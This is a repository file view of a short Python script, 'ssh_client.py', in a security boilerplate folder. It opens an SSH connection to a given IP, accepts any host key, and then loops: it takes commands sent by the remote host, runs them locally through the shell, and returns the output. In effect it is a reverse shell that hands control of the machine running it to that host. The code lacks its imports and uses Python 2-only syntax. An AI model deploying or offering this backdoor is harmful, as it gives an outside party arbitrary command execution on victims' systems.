web3-starter-py/boilerplates/security/python_ssh_modules/ssh_client.py
osiris account 69bb4175f1 💾
2023-03-12 15:29:57 -07:00

16 lines
No EOL
621 B
Python

def ssh_client(ip, port, user, passwd):
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, port=port, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print(ssh_session.recv(1024))
while 1:
command = ssh_session.recv(1024)
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()